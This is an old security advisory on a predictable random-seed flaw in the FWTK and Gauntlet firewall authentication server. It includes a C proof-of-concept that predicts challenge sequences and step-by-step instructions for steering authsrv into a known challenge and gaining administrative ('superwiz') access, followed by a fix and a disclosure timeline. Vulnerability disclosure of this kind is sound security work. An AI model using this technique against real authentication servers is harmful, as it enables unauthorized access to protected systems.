COMMAND

    Gautlet and FWTK

SYSTEMS AFFECTED

    FWTK and Gautlet though 4.x

PROBLEM

    'kadokev' found following.  A 'random seed' problem in  lib/rand.c
    affects all  local challenge-response  authentication on  FWTK and
    Gauntlet.  Many   services  have   support  available   for   this
    authentication service, including versions of ssh, ftp and telnet.
    The  problem  discussed  in  this  paper  affects  all the 'random
    challenge' authentication methods  in Unix platform  releases both
    FWTK and of Gauntlet, though 4.x.  The affected challenge-response
    methods include Cryptocard, SNK (Axent) and md5 authentication, as
    well as RADIUS CHAP. This  problem does not affect the  'Defender'
    (DSS), or S/Key authentication methods.   Simply put, if you  know
    the response  to any  one challenge  (from sniffing  the cleartext
    exchange,  shoulder  surfing,  etc.),  you  can  predict  when the
    authsrv  will  generate  that  same  challenge  again and possibly
    manipulate it into repeating the challenge within minutes.

    The  random   number  routine   in  the   FWTK  library    'seeds'
    (initializes) the Unix random number generator using only time and
    process  id  information,  making   the  sequence  of   challenges
    trivially easy to predict.   This weakness is similar to  the 1995
    Netscape 'random seed' security problem, and a real fix is  likely
    to be machine-dependent.   Attacks based on the  vulnerability are
    made easier if the authentication server is running any additional
    services, especially if the attacker can determine the system time
    and drive up  the process ID  (cause new processes  to be spawned,
    and 'hold' certain process IDs).  An attack is trivially easy from
    a command prompt  on the host  running the authentication  server.
    Attacks would be nearly impossible with a real pseudo-random  seed
    and a limit on the duration and number of 'authorize' commands  in
    a single connection to the  authentication server.  It would  also
    help to  treat 'abandoned'  challenges the  same as authentication
    failures, eventually locking the account.  The authsrv listens  on
    a network port  (defaults to 7777)  but can be  configured to only
    accept authentication requests from  specific IP addresses.   Most
    sites will have the authsrv configured to only accept requests  on
    the loopback address  127.0.0.1, and thus  are only vulnerable  to
    local attacks.

    Any user with  shell access to  the authsrv host,  and potentially
    some  remote  users,  can  not   only  predict  the  sequence   of
    challenges,  but  with  some  effort  can maneuver the server into
    generating a certain specific  challenge, presumably one to  which
    the response  is already  known.   As well,  the way  in which the
    random seed is generated ensures that, of the one-million possible
    challenges (ten million for  Cryptocard), only 32K unique  initial
    challenges will be generated.  Being able to predict the challenge
    is bad, but being able to cause the server to generate a  specific
    challenge (one for which you know the response) is an  exploitable
    security hole.

    The  first  time  the  randomnumber()  function  in  lib/rand.c is
    called, authsrv sets the seed with this code:

	long
	randomnumber()
	{
	     static  int     initt = 0;

	     if(!initt) {
		     long    tbuf;

		     time(&tbuf);
		     srand(((int)tbuf % getpid()) + getppid());
		     initt++;
	     }
	     return(rand());
	}

    Whether  run  as  a  daemon  or  from  inetd,  each authentication
    instance is a  new process, thus  srand() is called  to set a  new
    seed when sending the first  challenge, then not called again  for
    subsequent challenges  in the  same process.   Following code  has
    been  tested  on  Sparc  Solaris  2.6  against  both  FWTK 2.1 and
    Gauntlet 4.2:

    /* Proof of concept demonstrating challenge prediction in TIS products
     * including both the free FWTK  and commercial Gauntlet an 'lib/rand.c',
     * This is NOT a full exploit, though it could be the basis for one.
     *
     * The challenge value from 'authsrv' for MD5, SNK, and Cryptocard
     * authentication protocol is generated with a function 'randomnumber()',
     * contrary to it's name, the output is trivially predictable.
     *
     *                                      Date:   12 Jan 1999
     *                                      Author: Kevin Kadow <fwtk@msg.net>
     *                                      OS:     All
     * Notes:
     *      You'll need to decide whether to 'USE_RAND' or 'USE_RANDOM', the
     *      commercial Gauntlet is built with USE_RAND (at least on Solaris), for
     *      FWTK use what your authserv uses, or whichever compiles without errors.
     *
     *      This must be compiled and run on the same host as the authsrv process,
     *      or at least identical hardware with the clock synchronized to the
     *      server. You can get the server's clock value via any timestamp
     *      function, this includes ntp, daytime, syslog, NFS, or ICMP (via the
     *      icmpquery.c program)
     *
     *
     * compile with 'gcc -o challenge challenge.c'
     *
     * Determine the listening port of authsrv (from inetd.conf, netperm-table, etc)
     *
     * Get a shell prompt on the authsrv host, use 'ps' to find the PID of the
     * authsrv daemon (it's the authsrv process that never dies), or if running
     * out of inetd, the inetd PID.
     *
     * From the authsrv host or any other host that is allowed to authenticate,
     * open a telnet connection to the authsrv, and type 'authenticate username'
     * where 'username' is a valid MD5 or SNK user. Do NOT press enter.
     *
     * Use 'ps to find the PID of the new child process, then from the shell on
     * the authsrv host, type './challenge <parent-PID> <child-PID>'
     *
     * Challenge will begin printing the predicted first 6 challenges for the
     * current second.  When you see a challenge to which you know the answer,
     * press enter in the authsrv telnet session to 'lock in' that sequence.
     *
     * As I said, this is strictly a proof-of-concept, the company which
     * commissioned this wasn't interested in exploit code at the time.
     *
     *                                              Kevin Kadow
     *                                              MSG.Net, Inc.
     *
     */

    #include        <stdio.h>

    #define USE_RAND


    #ifdef  USE_RANDOM
    long
    getnumber(int pid, int ppid)
    {
	    if(pid && ppid) {
		    long    timebuf;

		    time(&timebuf);
		    /*srandom(((int)timebuf % getpid()) + getppid())*/;
		    srandom(((int)timebuf % pid) + ppid);

		    printf(" (%d) ",((int)timebuf % pid) + ppid);
	    }
	    return(random());
    }
    #endif

    #ifdef  USE_RAND
    long
    getnumber(int pid, int ppid)
    {

	    if(pid && ppid) {
		    long    timebuf;

		    time(&timebuf);

		    /*srand(((int)timebuf % getpid()) + getppid());*/
		    srand(((int)timebuf % pid) + ppid);

	    }
	    return(rand());
    }
    #endif



    main(argc,argv)
    int argc;
    char ** argv;
	    {

	    int pid,ppid,count;
	    int tries=60;


    if(argc < 3) {
	    usage("Insufficient arguments");
	    }

	    ppid=atoi(argv[1]);
	    pid=atoi(argv[2]);

	    if( !pid || !ppid) {
		    usage("Invalid arguments");
		    }

	    if(argc < 4 || 0==(count=atoi(argv[3])))
		    count=tries;


	    printf("Generating %d seconds of challenge sequences:\n\n",count);


	    while(count > 0) {
		    int i=8;
		    printf("%6.6lu",getnumber(pid,ppid) % 999999);


		    while(i) {
			    printf("  %6.6lu",getnumber(0,0) % 999999);
			    i--;
			    }
			    printf("\n");
		    count--;
		    sleep(1);
		    }
    }

    usage(char * why)
	    {
	    if(why) printf("Error: %s\n\n", why);

	    printf("Usage:  <parent-pid> <pid> [count]\n");
	    exit(1);
	    }

    Any person  with shell  access to  the authentication  server host
    knows or can predict all  the factors, and through careful  use of
    fork() can  influence the  process ID  to bring  about a  specific
    sequence  of  challenges.    The  easiest  exploit  uses   authsrv
    management functions, however it is possible to gain access to any
    service that authenticates through the 'authsrv' service.  If  the
    user for which  you've sniffed a  challenge-response has 'wiz'  or
    'superwiz'  access,  you  can  use  the  authsrv  to  add your own
    entries, with plaintext reusable passwords, or with 'superwiz'  to
    change  the  password  for  any  user  or  to  add  new  'wiz' and
    'superwiz' users.  Because the authsrv process does not  implement
    a timeout, you can open a connection to the authentication  server
    (locking  in  the  parent  and  current  process  id),  then  wait
    indefinitely for the epoch clock to increment to a value that will
    produce a challenge with a known response.  This 'known challenge'
    doesn't have to be the first one presented -- after generating the
    first challenge, the  authsrv has set  off down a  given 'path' of
    challenges.  By determining what  'path' the server is on,  if you
    know that the 50th  challenge in the sequence  will be the one  to
    which you know  the answer, you  can send 49  'authorize' requests
    and only give a 'response' to the 50th question, the one to  which
    you know the answer.   This is possible because these  'abandoned'
    challenges do not count as bad authentications and will not  cause
    authsrv to lock the account.  If one can determine the system time
    remotely and  can drive  up the  process ID  through an accessible
    service (such as smtpd) a remote exploit may be possible.

    A HTML version, sample code,  and further details on this  problem
    are available at

	http://www.msg.net/utility/FWTK/

SOLUTION

    The solution to this  problem is the same  as the solution to  the
    Netscape bug -- find a  better random seed.  Replay  attacks would
    also be  much more  difficult if  the authsrv  program limited the
    duration  of  each  connection  and  the  number  of   'abandoned'
    authorization attempts for each user.

    TIS and Network Associates were first notified on January 12, 1999
    when this bug was initially  discovered in the free FWTK  product.
    Network Associates  was notified  on March  4, 1999  when the same
    problem was confirmed in the most recent release of Gauntlet. They
    are aware of the problem and have replied that they are developing
    patches for Gauntlet 5.0, but  would not commit to a  release date
    or patches for Gauntlet 4.2 and earlier.